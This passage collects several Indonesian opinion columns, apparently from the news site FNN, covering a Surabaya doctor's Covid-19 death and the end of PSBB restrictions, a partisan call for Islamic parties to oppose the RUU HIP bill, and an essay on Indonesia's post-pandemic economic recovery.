pernah disebut oleh Novel sendiri, punya kepentingan atas tuntutan ringan JPU tersebut. Oleh sebab itu, lantaran Hakim sendiri tak punya pedoman vonis (putusan), maka JPU mencoba memagari kemandirian Hakim supaya kelak Hakim menjatuhkan putusan tak melebihi tuntutan JPU. Publik tentu saja berharap Majelis Hakim akan tetap mandiri dan independent. Tidak ada ketentuan atau panduan bagi Hakim harus menjatuhkan putusan lebih rendah, tinggi atau sama dengan tuntutan JPU. Hakim dapat menjatuhkan putusan lebih berat karena kemandiriannya. Hakim tidak punya atasan siapapun, kecuali kepada Tuhan. Wallahu’alam bi sawab. Penulis adalah Praktisi Hukum

Gubernur Mengalah, Surabaya Raya Tarung Bebas vs Corona

Oleh Mochamad Toha Surabaya, FNN - Kepergian Dokter Miftah Fawzy Sarengat, dokter residen peserta Program Pendidikan Dokter Spesialis (PPDS) Penyakit Dalam Fakultas Kedokteran Universitas Airlangga (UA) Surabaya yang meninggal karena Covid-19, Rabu (10/6/2020), mengingatkan kita. Mengingatkan resiko setelah terpapar Virus Corona atau Covid-19. Almarhum Dokter Miftah sehari-hari bertugas di RS Dr Soetomo Surabaya. Setelah dirawat intensif selama 5 hari di RS milik Pemprov Jatim itu, Dokter Miftah meninggal Rabu pagi sekitar pukul 09.00 WIB. Humas RS Dr Soetomo Surabaya Dokter Pesta Parulian membenarkan tentang meninggalnya Dokter Miftah. Kabar itu menjadi kabar duka bagi seluruh elemen di RS Dr Soetomo dan FK UA. Dokter Pesta juga membenarkan hasil sejumlah tes pendeteksi Covid-19 menunjukkan bahwa Dokter Miftah memang terjangkit Covid-19. Hasil tes swab dengan metode PCR, termasuk CT Scan Toraks, menunjukkan hal itu. “Hari ini sudah kami lakukan pemulasaraan sesuai protokol Covid-19, karena hasil swab-nya memang positif, CT Scan Toraks-nya juga. Semua parameter yang kami uji hampir sangat pasti Covid-19,” katanya. Pihak RS Dr Soetomo dan FK UA memberikan penghormatan terakhir kepada Dokter Miftah yang telah berjuang di garda terdepan penanganan pasien Covid-19. Jenazahnya dikebumikan di Magetan. “Keluarganya menghendaki beliau dikebumikan di Magetan. Jadi, hari ini kami lakukan dua upacara singkat untuk melepas jenazah beliau,” kata Dokter Pesta dilansir SuaraSurabaya.net, Rabu (10 Juni 2020 | 17:39 WIB). Upacara singkat melepas kepergian Almarhum Dokter Miftah itu berlangsung di gerbang RS. Direktur Utama RS Dr Soetomo, Dokter Joni Wahyuhadi, memberi penghormatan terakhir bersama Wakil Dekan FK UA. Dokter Pesta mengaku sangat sedih. Selain kehilangan salah satu peserta didiknya, dia sangat menyayangkan kepergian dokter yang seharusnya menyelesaikan pendidikan spesialisnya tahun ini. Seharusnya, kalau tidak ada pandemi, mungkin dalam tahun ini, sudah selesai. Dokter Brahmana Askandar Ketua Ikatan Dokter Indonesia (IDI) Surabaya turut menghadiri upacara penghormatan dan prosesi pelepasan jenazah di FK UA Surabaya. Dokter Miftah adalah dokter ketiga di Surabaya yang gugur sebagai pejuang medis dalam perang melawan Covid-19. Dia berharap, kepergian Dokter Miftah yang terakhir kali terjadi di Surabaya. “Dikter Miftah ini dokter ketiga yang gugur di Surabaya. Mudah-mudahan ini yang terakhir. Perjuangan beliau harus kami lanjutkan, karena perjuangan melawan Covid-19 ini belum selesai, mudah-mudahan bisa segera berakhir,” katanya. Pada Senin, 8 Juni 2020, lalu adalah hari terakhir pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) ketiga di wilayah Surabaya Raya, yakni: Kota Surabaya, Kabupaten Sidoarjo, dan Kabupaten Gresik. Adalah Walikota Surabaya Tri Rismaharini yang sebelumnya “ngotot” mau usul ke Gubernur Jatim Khofifah Indar Parawansa supaya mengakhiri PSBB di Surabaya. Usulan ini didukung Bupati Gresik Sambari Halim Radianto dan Plt Bupati Sidoarjo Nur Ahmad Syaifudin. Alasan “kehidupan ekonomi” yang mendasari Risma mengusulkan hal tersebut. Walikota ini berjanji akan membuat Perwali yang lebih ketat untuk mendukung Protokol Kesehatan yang diberlakukan selama ini. Demikian pula alasan Bupati Gresik dan Sidoarjo. Tampaknya Gubernur Khofifah tidak berdaya menghadapi tuntutan ketiga Kepala Daerah di Jatim ini, meski sebelumnya Ketum Muslimat NU ini sudah memberikan peringatan bahaya Covid-19 di ketiga wilayah Surabaya Raya tersebut. Akhirnya Gubernur Khofifah menyerahkan keputusan “penghentian” PSBB itu kepada ketiga kepala daerah Surabaya Raya ini. Padahal, angka penularan Covid-10 di Surabaya Raya sebenarnya masih tinggi, bahkan bisa lebih berbahaya dari DKI Jakarta. Tapi, Gubernur Khofifah mengakhiri PSBB Surabaya Raya karena permintaan ketiga kepala daerah tersebut. Ketiga kepala daerah di Surabaya, Sidoarjo, dan Gresik juga telah berjanji akan menerapkan protokal kesehatan lebih ketat meski PSBB sudah berakhir. Menurutnya, sejak awal penerapan PSBB sudah disepakati Pemkab Gresik, Pemkab Sidoarjo, dan Pemkot Surabaya. “Pada dasarnya, semua bersifat bottom up,” jelas Gubernur Khofifah, mengutip tayangan Kompas TV, Senin (8/6/2020). Dalam setiap perpanjangan PSBB, lanjut Khofifah, adalah keputusan pemda setempat. “Pada perpanjangan pertama, PSBB tahap kedua, yang mengumumkan itu sendiri sudah perwakilan kabupaten kota,” paparnya. Saat PSBB tahap ke-3 perpanjangan tahap ke-2 dimulai 26 Mei-8 Juni, yang mengumumkan juga adalah mereka bertiga. Pada akhir PSBB tahap ketiga, Gubernur Khofifah menyebutkan telah melakukan evaluasi dan rapat untuk memutuskan apakah PSBB harus dilanjutkan ke tahap berikutnya atau tidak. Dalam rapat tersebut, Dokter Windhu Purnomo sebagai pakar Epidemiologi Universitas Airlangga telah menjelaskan kondisi saat ini belum aman untuk mencabut PSBB. “Kita mengundang perwakilan kabupaten dan kota,” ungkap Gubernur Khofifah. “Kemudian Dokter Windhu yang mengomandani Tim Epidemiologi FKM Unair menjelaskan bahwa sesungguhnya Surabaya belum aman, Gresik belum aman, Sidoarjo belum aman,” ujar Khofifah. Ia menyinggung kondisi di ketiga wilayah tersebut, bahkan lebih parah daripada DKI Jakarta yang kurvanya sudah mulai melandai. “Sebaiknya bersabar dulu, dengan data misalnya attack rate-nya masih 94,1. Bahkan lebih tinggi dari Jakarta hari ini,” ungkap Khofifah. Meski begitu, Khofifah menyinggung angka transmisi di Surabaya sudah cukup membaik dan menjadi optimisme bersama. “Kemudian ada optimisme, memang. Artinya, rate of transmission-nya Surabaya 1,0,” jelas Khofifah. “Optimisme ini sesungguhnya bisa menjadi pendorong upaya pendisiplinan yang lebih ketat,” tambahnya. Ia memaparkan transmission rate di Gresik sempat mencapai angka 0,3. Melihat angka tersebut, Pemkab Gresik sempat optimis dapat mulai memasuki “New Normal”. “Mereka pada tanggal 21-26 Mei, selama 6 hari itu sudah di bawah 1. Waktu itu kita berharap kalau sudah di bawah 1, sesungguhnya sudah siap untuk memasuki New Normal,” lanjutnya. Meski begitu, setelah Lebaran angka kasus baru kembali naik. “Pascalebaran, di 3 daerah ini mengalami kenaikan. Itu yang menjadikan rate of transmission naik, angka-angka ini juga naik,” ungkap Khofifah. “Tapi, pakar Epidemiologi tadi kembali menjelaskan bahwa ini belum aman,” tambahnya. Angka kemarian pasien positif Covid-19 di Jatim, tertinggi se-Indonesia. Adanya tambahan 23 kasus kematian di Jatim pada Rabu (10/6/2020), total ada 553 kasus kematian di Jatim. Dari data laporan media harian Covid-19 Indonesia per-Kamis (11/6/2020), kasus kematian di Jatim menyalip DKI Jakarta. Jakarta sendiri bertambah 2 kasus menjadi 537 kasus. Jakarta sebelumnya menjadi provinsi dengan angka kasus kematian tertinggi se-Indonesia. Kini, angka kasus kematian itu dilampaui Jatim. Dari data Gugus Tugas Covid-19 Pusat, hari ini ada tambahan 297 kasus di Jatim, sehingga total ada 7.103 kasus. Untuk pasien sembuh di Jatim, hari ini ada tambahan 112 menjadi 1.793 pasien sembuh dari Covid-19. Melihat data tersebut, persentase angka kematian pasien positif Covid-19 di Jatim lebih tinggi daripada Jakarta. Padahal di Jakarta ada 8.650 kasus positif Covid-19 dengan total 537 kasus kematian. Dari data Pemprov Jatim sendiri per-Rabu (10/6) angka kematian sudah tercatat di angka 553 kasus. Sementara untuk pasien sembuh tercatat ada 1.793. Untuk kasus positif Corona masih tercatat 6.798 kasus. Untuk data kematian dan kesembuhan, Pemprov Jatim diizinkan oleh Gugus Covid-19 pusat untuk meng-update lebih cepat. Untuk kasus positif, Pemprov Jatim menunggu pengumuman lebih cepat. “Kita memang diizinkan untuk mengumumkan kasus kematian dan angka kesembuhan lebih cepat dari pada pusat. Jadi, kadang teman-teman (media) melihatnya, kenapa di data pusat kesembuhan/kematian baru sekian, di data Pemprov lebih banyak,” ungkapnya. “Karena kita diizinkan. Untuk kasus positif, kita menunggu pengumuman dari pusat,” kata Gubernur Khofifah beberapa waktu lalu di Gedung Negara Grahadi. Kebijakan yang telah diambil Gubernur Khofifah berbeda dengan Gubernur DKI Jakarta Anies Baswedan. Gubernur Anies tidak bisa melawan kebijakan Pemerintah Pusat yang ngotot segera berlakukan New Normal. Maka, Anies dengan berat hati diikuti dengan bahasa PSBB Transisi. Dia sudah tahu kasus baru akan melonjak lagi. Seperti biasa dia telah siapkan segala kemungkinan yang terjadi. Sebaliknya di Jatim, Surabaya didukung Gresik dan Sidoarjo minta berhenti PSBB. Gubernur Khofifah paham kasus baru akan terus melonjak. Seperti biasa dengan sabar disiapkan segala situasinya. Menurut politisi PAN Mila Machmudah Djamhari, DKI Jakarta masih menyebut nama PSBB karena itulah payung hukumnya untuk menyusun aturan dan sanksinya. “Surabaya Raya yakin tanpa PSBB otomatis Peraturan Gubernur Jatim untuk PSBB berakhir sudah,” katanya. Semua dikembalikan pada Perwali dan Perbup. Masalahnya adalah apa payung hukumnya di atas untuk memberikan aturan dan sanksinya. Sedangkan opsi PSBB adalah opsi yang paling ringan dari Status Darurat Kesehatan. “Pemkot Surabaya memilih tarung bebas Rakyat versus Covid-19,” tegas Mila. Catat! Pasien meninggal di Jatim sudah 575 yang positif, yang PDP 733, yang ODP 111. Surabaya yang meninggal positif 315. Tingkat kematian Surabaya 8,41%. Untuk kesembuhan Surabaya 26,66%. "Angka ini bisa dimainkan. Yang terkonfirmasi positif bisa direkayasa tinggi, negatif bisa jadi positif. Seminggu kemudian akan dinyatakan sembuh. Ini akan berdampak pada tingginya tingkat kesembuhan dan rendahnya tingkat kematian," ujar Mila. Selama tingkat kematian tinggi, Surabaya akan kehilangan banyak potensi ekonomi. "New Normal ditempuh pemerintah karena kondisi keuangan negara sudah tidak memungkinkan untuk penyelenggaraan bansos. Bila rakyat lapar berpotensi kerusuhan," tegas Mila. Penulis Wartawan Senior

Hadapi RUU HIP, Partai Keumatan Jangan Lemah

by M. Rizal Fadillah Jakarta FNN – Jum’at (12/06). Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) menjadi perhatian serius umat Islam. Ini disebabkan kekhawatiran tinggi atas kemungkknan RUU ini menjadi sarana untuk menyimpangkan makna ideologi Pancasila. Arah tafsir Nasakom yang bisa kembali terulang. Komunisme tentu saja berkeinginan kuat untuk mendapat pengakuan hukum. Mereka tidak pernah berhenti. Komunisme terus berjuang melalui cara yang halus dan bertahap. Dari jalanan hingga ruang Dewan. Bahkan berusaha dengan cara untuk bias masuk ke dalam Istana. Tiga partai keumatan PPP, PKB, dan PAN memiliki kedudukan yang strategis dalam sambungan hati dengan umat di akar rumput. Ketika kampanye pun bahasa-bahasa keumatan diletakkan menjadi jembatan untuk memperbesar daya dukung umat. Hasilnya, umatpun merasa nyaman dan bahagia mendukung walau tahu belum tentu menjadi pemenang. Ada nilai ibadah yang diyakini. Tentu dengan berdo'a pula agar Allah menolong perjuangan partai politik umat. Kini umat Islam sedang prihatin, bahkan merasa sedih dan menderita. Terasa agama sedang diombang-ambingkan oleh mereka yang tak suka pada pijakan agama. Mereka itu sekarang yang berada di Pemerintahan dan ruangan Parlemen. Stigma ketakutan pada agama dan syari'atnya terus dibangun dan dipropagandakan. Semangat juang dilemahkan dengan bahasa toleransi, tidak diskriminasi, moderasi, ataupun hak asasi. Semua diterima dengan sabar walau memahami bahwa umat sedang terzalimi. Kini terasa PKI bangkit kembali. Komunisme sedang diupayakan untuk dihidupkan. Fakta sejarah komunisme dan PKI mau diputarbalikkan, dan agama dinisbikan. PKI dan kader-kader komunis adalah musuh-musuh agama. Kegigihan dalam menyusup patut juga untuk diberikan diacungkan jempol. Menyelundupkan pasal-pasal aturan adalah kemahiran mereka. Menyelundupkan senjata juga biasa. Tujuan mereka adalah merongrong ideologi negara dengan bahasa membela. Artinya, tipu-tipu politik yang dianggap sebagai hukum perjuangan. Yang penting kekuasaan dapat direbut nantinya. RUU HIP jika ditelaah seksama, sarat dengan nuansa "kiri". Bahkan agak vulgar tampilannya. Anehnya, kok bisa lolos dengan mudah di senayan. Didukung oleh banyak fraksi. Sedih dan mengurut dada umat. Sebab ternyata diantara yang ikut meloloskannya itu partai partai keumatan. Ada PPP, PKB, dan ada pula PAN. Partai yang selalu mengusung kaliat ukhuwwah. Partai da'wah, dan partai yang konon berjihad fie sabilillah. Umat yang sudah merasa lemah, bertambah untuk dilemahkan oleh kekuatan politik yang gemar berslogan berjuang untuk ummah. Prakteknya lemah berhadapan dengan gagasan dan ide komunisme-PKI. RUU HIP adalah nyata-nyata racun sekularisme. Virus komunisme, dan upaya nyata untuk mendegradasi nilai-nilai keagamaan. Melemahkan ideologi Pancasila, hasil kesepakatan yang dipertahankan dengan simbahan darah. RUU HIP adalah tafsir tunggal untuk menghalau dan mengkerdilkan ideologi Pancasila dengan bahasa "haluan" ideologi. Padahal penuh dan sarat dengan bingkai kamuflase. RUU yang telah diketuk untuk masuk tahap berikut menuju penetapan menjadi Undang-Undang. Umat telah ramai-ramai mengadakan penolakan dan perlawanan. Sementara itu partai-partai yang menyatakan berbasis dan menyandarkan diri kepada keumatan dipertanyakan keberadaannya. Kemana dan dimana mereka? Masih adakah mereka? Bersembunyi dimana mereka? Belum terlambat untuk bangkit dan berjuang kembali dengan gagah. PPP, PKB, dan PAN harus melihat, sebagaimana umat merasakan bahwa RUU HIP adalah ancaman bagi umat Islam. Juga ancaman nyata terhadap ideologi dan dasar Negara Pancasila. Untuk itu jangan berdiam diri. Karenanya bela umat ini dengan menghentikan langkah RUU gila ini. Ideologi bukan tidak penting. Tetapi jika disalahtafsirkan, disalahnarasikan, atau disalahgunakan, maka ideologi adalah alat koersi. Bukan sarana dan alat untuk membangun integrasi bangsa. Ingat itu Aspirasi umat adalah menolak RUU HIP. Alasanya, isinya berbau Orde Lama dan Komunisme. Ketiga partai PPP, PKB, dan PAN diharapkan menjadi penyambung lidah umat. Berjuang keras dengan berani bagai singa yang berdaya guna. Jangan seperti bebek dan sapi yang mudah digiring kesana dan kesana. Rumah kita di sini, di hati-hati rakyat dan umat. Tampilah dengan langkah dan semangat yang membanggakan umat. Jangan menjual agama dengan harga murah. Resikonya Allah SWT akan marah nantinya. Kemuliaan dan kehinaan itu ada di tangan Allah. Demikian juga dengan pertolongan dan rezeki-Nya. Buat apa mulia di dunia, tetapi hina dan derita di akhirat. Selamat berjuang. RUU HIP adalah batu ujian buat anda. Saatnya untuk membuktikan, apakah anda singa atau hanya bebek dan sapi. Penulis adalah Pemerhati Politik dan Keagamaan.

Kemana Kurva Pemulihan Ekonomi Indonesia?

by Bambang Soesatyo,Ketua MPR RI, Maruarar Sirait, Anggota DPR 2004-2019, Andi Rahmat, Pelaku Usaha, dan Mantan Wakil Ketua Komisi XI DPR RI 2004-2014 Jakarta FNN – Jum’at (12/05). Hingga bulan Februari tahun 2020, perekonomian dunia menunjukkan gairah pertumbuhan positif. Tidak ada tanda-tanda kontraksi berarti, apalagi resesi. Perbincangan dikalangan banyak ekonom dan pelaku bisnis juga demikian. Pembahasan lebih banyak pada isu kesenjangan ekonomi. Stagnasi pendapatan kelas menengah, dan efek suku bunga rendah bank-bank sentral. Perang dagang Amerika dengan China atau Ekonomi Pro Lingkungan. Dalam hal kritisasi pertumbuhan ekonomi dunia, ramai dibicarakan soal fenomena 'sluggish' (Istilah yang dipilih IMF ketimbang stagnasi). Fenomena Stagnasi Sekuler dalam pertumbuhan ekonomi dan seterusnya. Tidak banyak diskusi atau reportase tentang ancaman krisis, apalagi resiko depresi pada perekonomian. Tapi semua itu berubah dramatis diakhir februari dan terus berlanjut hingga sekarang. Tiba-tiba saja seluruh dunia diperhadapkan pada situasi krisis ekonomi. Krisis yang makin hari makin menunjukkan kualitas kerusakannya. Krisis ekonomi ini pemicunya tidak berasal dari dalam perekonomian itu sendiri. Tetapi berasal dari luar lingkungan perekonomian. Krisis kesehatan global. Pandemi Covid 19, berubah menjadi krisis ekonomi yang sulit dicari bandingan efeknya dalam khazanah perekenomian dunia paska Perang Dunia ke-2. Sebagai pelaku usaha, kami merasakan nuansa optimistis memasuki tahun 2020. Kita memang merasakan adanya 'tekanan' pada perekonomian. Tapi persepsi terhadap tekanan itu lebih merupakan keadaan koreksi normal perekonomian terhadap 'booming' ekonomi paska 2008. Berupa perubahan perilaku bisnis, baik itu ditingkat konsumen maupun peralihan fokus usaha pelaku usaha. Periode 2014 hingga 2019, agresifitas investasi menunjukkan tren pengambilan resiko yang tinggi. Terutama pada investasi padat modal dan memakan waktu. Dalam persepsi kami, akan menunjukkan hasil positifnya dimulai tahun 2020 ini. Akumulasi Realisasi Investasi tahun 2014 mencapai Rp 463,1 trilliun, meningkat menjadi Rp 545,4 trilliun (meningkat 17,77%) di tahun di 2015. Tahun 2016 mencapai Rp 612,8 trilliun (meningkat 12,4%). Kemudian di tahun 2017 mencapai Rp 692,8 trilliun (meningkat 13%). Pada tahun 2018, meningkat lagi menjadi Rp 721,3 trilliun (meningkat 14,1%). Dan di tahun 2019 naik lagi menjadi Rp 809,6 trilliun (meningkat 12,24%). Total akumulasi realisasi investasi sepanjang kurun 2014-2019 mencapai Rp 3.845,1 trilliun. Laporan sektor keuangan juga menunjukkan hal yang sama. Baik berupa indikator peningkatan Dana Pihak Ketiga (DPK) di perbankan, kinerja Pasar Saham, indikator kesehatan sektor perbankan dan lain-lain. Kesemuanya menunjukkan dinamika positif dalam perekonomian. Tentu ada banyak catatan kritis terhadap situasi perekonomian Indonesia sepanjang kurun itu. Peningkatan drastis hutang negara, kinerja penerimaan pajak dalam dua tahun terakhir, pertumbuhan ekonomi yang stagnan di bawah 5,2% , pergerakan kurs yang berhubungan dengan aksi tappering off Bank Sentral Amerika, defisit transaksi berjalan, kinerja keuangan BUMN. Semua itu adalah hal- hal yang bisa disebutkan menonjol selama kurun waktu itu. Tibalah kita pada situasi dimana semua indikator perekonomian mengalami kontraksi hebat. Semua variabel pembentuk Produk Domestik Bruto (PDB) menunjukkan penurunan kinerja yang curam. Angka pengangguran meningkat tajam, jumlah penduduk yang kembali jatuh ke dalam zona kemiskinan juga meningkat. Perbankan dan Institusi Keuangan Non-Bank (IKNB) turut mengalami tekanan kuat. Kinerja ekspor-impor menurun. Beberapa sektor bisnis menghadapi resiko kebangkrutan massal. Indeks saham merosot tajam, menghapuskan ribuan trilliun nilai kekayaan dalam waktu singkat. Volatilitas rupiah bergerak cepat dalam rentang yang lebar. Semua ini, terjadi tanpa gejala pendahuluan. Semua datang begitu saja secara tiba-tiba, cepat dan dengan efek toksiknya terhadap perekonomian yang mematikan. Dari segi skala efeknya terhadap struktur perekonomian, dalam hemat kami, hantaman krisis pandemi terhadap perekonomian jauh lebih hebat ketimbang krisis 1998. Saat ini yang dihadapi bukan saja krisis keuangan. Nmun krisis yang menyeluruh pada semua bangunan perekonomian. Dengan menyisakan hanya sedikit saja sektor yang tidak terdampak hebat. Dan krisis ini bukan saja melanda Indonesia, tetapi keseluruhan perekonomian dunia. Krisis ini menguji daya tahan perekonomian nasional kita. Menguji respon pemerintah dan otoritas 'quasi government'. Menguji kemampuan dan kualitas pelaku usaha, baik korporasi maupun UMKM dan sektor informal. Menguji keampuhan sistem bernegara kita. Bahkan menguji standar moralitas dan nilai-nilai kita dalam perekonomian. Kembali kepada judul tulisan ini, kearah mana kurva pemulihan ekonomi Indonesia? Ini pertanyaan yang sulit. Mantan Menteri Keuangan Era SBY- Budiono, Chatib Basri, menuliskan satu artikel panjang di salah satu koran nasional soal ini. Dalam bayangan Chatib Basri, tentu dapat dipertanggungjawabkan, tren pemulihan ekonomi nasional akan cenderung kearah Kurva U. Bukan Kurva V (Kompas, 08/06/2020). Artinya, pemulihan ekonomi akan menempuh masa yang lebih panjang hingga kembali berfungsi secara normal. Deloitte dalam laporannya yang berjudul 'Recovering from Covid 19, Considering Economic Scenarios for Resilient Leaders' (Deloitte, 2020) menggunakan tiga skenario pemulihan ekonomi. Skenario pertama disebutnya sebagai 'a steep but short lived downturn'. Asumsinya antara lain adalah bergairahnya kembali perekonomian diakhir 2020. Tingkat konfidensi konsumen yang meningkat, pemulihan China yang lebih cepat, berakhirnya resesi di Uni Eropa dan Amerika. Program fiskal substansial UE dan AS yang berjalan efektif dan bergairahnya kembali 'travel and leissure industry' diakhir tahun. Asumsi PDB riil 2020 di Amerika -5%, UE -5%, Afrika -2,1, China 3% dan Jepang 0%. Skenario kedua disebutnya, 'Prolonged Pandemy and Delayed Rebound'. Dengan asumsi pertumbuhan PDB riil 2020 AS -8%, UE -8%, Afrika -5,1%, China 1% dan Jepang -3%. Asumsinya antara lain adalah pemulihan baru akan dimulai di akhir 2021 nanti. Pada scenario ini, gelombang pandemi meningkat, dan stimulus fiskal gagal memicu belanja. UE dan AS mengalami resesi berkepanjangan, dan pemulihan ekonomi di China berjalan sangat lambat. Juga terjadi penurunan berkepanjangan pada belanja konsumen. Skenario ketiga adalah skenario 'The worst skenario'. Dalam skenario ini, sistem keuangan gagal, sekalipun ada upaya massif dari Bank Sentral untuk mengatasinya. Stimulus fiskal besar-besaran tetap saja tidak mengangkat konsumsi. Pada scenario ketiga ini, terdapat banyak usaha yang bangkrut. Mata rantai penawaran mengalami gangguan berat, dan ekonomi rumah tangga makin terpuruk. Dan pemulihan ekonomi global tidak menampakkan gejala positif hingga tahun 2022. Skenario Deloitte ini sebetulnya diperuntukkan bagi lingkungan Afrika Selatan. Tapi gejala dan asumsinya secara umum, dalam hemat kami, memiliki pola yang mirip dengan Indonesia. Kalau di terapkan dalam skenario kurva pemulihan. Skenario pertama adalah skenario optimistik, yang sering digambarkan dalam skenario Kurva 'V'. Skenario kedua merupakan skenario Kurva 'U' yang moderat. Dan skenario ketiga merupakan skenario Kurva 'U' yang ekstrem. Laporan dari berbagai lembaga ekonomi dunia berikut prakiraan terhadap 'perlintasan/trajectory' pemulihan ekonomi, memiliki asumsi yang sama. Bahwa pemulihan ekonomi sangat bergantung pada kemampuan negara-negara dalam mengendalikan pandemi Covid 19 ini, yang dibarengi dengan kebijakan ekonomi yang besar, substansial dan efektif. Sejak awal krisis ini, kami sebetulnya sudah mengajukan istilah 'Maraton' dalam horison kebijakan pemulihan ekonomi nasional. Implisitnya adalah suatu bayangan bahwa pemulihan ekonomi akan melalui perjalanan yang tidak singkat. Pemulihan itu sendiri tidak berupa lonjakan vertikal yang cepat. Sebagai pelaku usaha dan penyelenggara negara, tentu kami sangat berharap pemulihan ekonomi kita bisa lebih cepat dalam lintasan Kurva 'V'. Apalagi dengan modal keadaan perekonomian kita yang relatif sehat sebelum Pandemi ini terjadi. Apalagi dengan kombinasi kebijakan bauran Fiskal dan Moneter yang kuat dan besar-besaran yang dilakukan Pemerintah dan Bank Sentral, termasuk juga OJK dan LPS. Namun sifat dan karakteristik dari Pandemi Covid 19 ini, berikut dampaknya terhadap bangunan perekonomian membuat pendekatan realistis terhadap pemulihan menjadi pilihan yang dalam hemat kami lebih tepat di jadikan sebagai pijakan bagi skenario pemulihan yang akan ditempuh. Pilihan realistis ini berkaitan dengan sumber daya pemulihan yang kita miliki dan kita butuhkan. Baik dari segi daya tahan Fiskal pemerintah, kemampuan neraca Bank Indonesia berikut resiko moneternya, dan kemampuan pemulihan ekonomi dunia. Dalam krisis ini, daya tahan dan kemampuan otoritas negara merupakan kunci bagi pemulihan ekonomi. Dengan membayangkan secara realistis bahwa pemulihan ekonomi akan melewati skenario Kurva 'U', maka kebijakan-kebijakan yang diambil tentu pula memiliki persyaratan-persyaratan yang diperlukan dalam menciptakan dan menjaga momentum pemulihan. Persyaratan-persyaratan itu antara lain : Pertama, rancang-bangun kebijakan fiskal pemerintah. Khususnya yang berhubungan dengan rancang bangun pemulihan yang berbasis pada APBN. APBN merupakan alat utama pemerintah dalam menangani krisis. Tetapi penggunaan yang tidak tepat dari alat ini, juga bisa menjadi bumerang bagi proses pemulihan itu sendiri. Apabila menggunakan asumsi tunggal, bahwa tindakan APBN yang massif bisa mengungkit perekonomian dengan cepat. Perlu lebih cermat. Penggunaan yang massif itu semestinya dibarengi dengan prinsip penjagaan keberlangsungan fiskal. Terutama untuk menjaga sisi kontra produktif dari krisis yang dihadapi. Sisi kontra produktif itu adalah besarnya variabel ketidakpastian yang mewarnai krisis ini. Postur APBN kita saat ini mengharuskan kita untuk berhati-hati dalam penggunaan masifnya. Struktur penerimaan negara masih akan mengalami 'shock' dalam satu dua tahun ke depan. Yang berakibat pada pembesaran kumulatif pembiayaan defisit di tahun- tahun ke depan. Dalam pemulihan ini, kebijakan pengetatan tentu merupakan opsi kritis yang hampir sulit untuk dipilih. Namun stamina APBN mesti dijaga dalam pemulihan. Durasi penggunaannya seyogyanya dikelola secara tepat. APBN untuk pemulihan memang mesti massif, tetapi juga harus memiliki stamina yang cukup sepanjang proses pemulihan. Artinya, APBN bukanlah solusi tunggal pemulihan ekonomi. Tetapi APBN adalah titik pijak dan jangkar utama pemulihan ekonomi. Persyaratan kedua, adalah mempertahankan paradigma 'Fokus, Desisif, Masif dan Transparan'. Fokus bermakna motif dan tujuan kebijakan dipastikan kejelasannya. Sektor dan pelaku ekonomi yang paling terdampak menjadi prioritas utama. Dalam hal sektor, yang memiliki elastisitas dan daya ungkit ekonomilah yang menjadi patokannya. Dalam hal pelaku, sektor UMKM sebagai penyumbang tenaga kerja terbesar memperoleh porsi terbesar dalam alokasi sumber daya kebijakan. Tidak berarti, korporasi, sebagai pembayar pajak terbesar tidak memperoleh perhatian serius. Desisif bermakna kebijakan fiskal dan moneter harus betul-betul hadir untuk menyelesaikan persoalan. Karena itu, menjaga perlintasan permintaan tetap pada rute positif adalah inti dari kebijakan yang desisif itu. Masif artinya tidak tanggung-tanggung. Kapasitas yang dimiliki oleh otoritas fiskal dan moneter harus dipergunakan secara optimal dan terukur. Kami tidak memiliki kompetensi dalam menghitung seberapa besar biaya yang mesti dikeluarkan untuk benar-benar mengembalikan perekonomian pada kinerja normalnya. Namun seberapa besarpun biaya yang diperlukan untuk mengatasi krisis dan memulihkan perekonomian, sebesar itu pulalah biaya yang mesti digelontorkan oleh otoritas. Demikian juga dengan Transparansi. Ini merupakan persyaratan sukses yang tidak bisa diabaikan begitu saja. Transparansi menjamin kontrol yang sehat terhadap proses pemulihan sekaligus juga meningkatkan akuntabilitas dan menjamin akseptabilitas publik terhadap langkah-langkah kebijakan pemulihan. Transparansi menjamin munculnya 'mutual trust' dari stake holder terhadap kebijakan dan pengambil kebijakan. Persyaratan berikutnya adalah kebutuhan mendesak dalam kerangka pemulihan ekonomi untuk menjawab tantangan struktural perekonomian kita. Perekonomian baru Indonesia memerlukan perubahan dan penyesuaian struktural. Dalam pemulihan ekonomi yang diperlukan adalah suatu model pemulihan yang sekaligus juga merupakan jawaban terhadap problem struktural perekonomian yang endemik dalam perekonomian Indonesia. Pemulihan ekonomi bukanlah kembali pada bentuk lama perekonomian kita. Tetapi perekonomian yang mencerminkan kesiapan kita dalam wujud baru perekonomian yang lebih egaliter, kompetitif, pro-lingkungan, inovatif dan dinikmati oleh masyarakat luas. Pemulihan ekonomi bukan sekedar perbaikan profil Produk Domestik Bruto. Bahkan, pemulihan ekonomi sudah semestinya dilakukan dalam kerangka perbaikan kualitas perekonomian. Bukan melestarikan praktek lama perekonomian yang distortif pada kualitas kehidupan berbangsa dan bernegara. Langkah-langkah kebijakan pemulihan ekonomi yang 'eksta-ordinary', yang diambil oleh pemerintah dan otoritas lainnya, dan juga memperoleh dukungan politik besar dari legislatif, merupakan modal besar untuk menjalankan agenda-agenda perubahan struktural perekonomian tranformatif. Modal ini sepatutnya digunakan untuk tujuan-tujuan besar dan berdampak panjang. 'Legacy' pemerintahan Presiden Joko Widodo-Ma’ruf Amin dalam hemat kami, bukanlah apa yang dikerjakannya lima tahun sebelumnya. Tapi 'legacy' historis pemerintahan ini terletak pada kemampuannya menangani krisis ini. Membalikkan situasi perekonomian, dan meletakkan fondasi perekonomian baru Indonesia. Legaci seperti ini yang menjawab problem struktural lama perekonomian. Sekaligus juga, meletakkan fondasi yang kokoh bagi keberlanjutan kompetitif bangsa Indonesia.

Ingat Perintah MPRS, "Teliti Itu Ajaran Bung Karno"

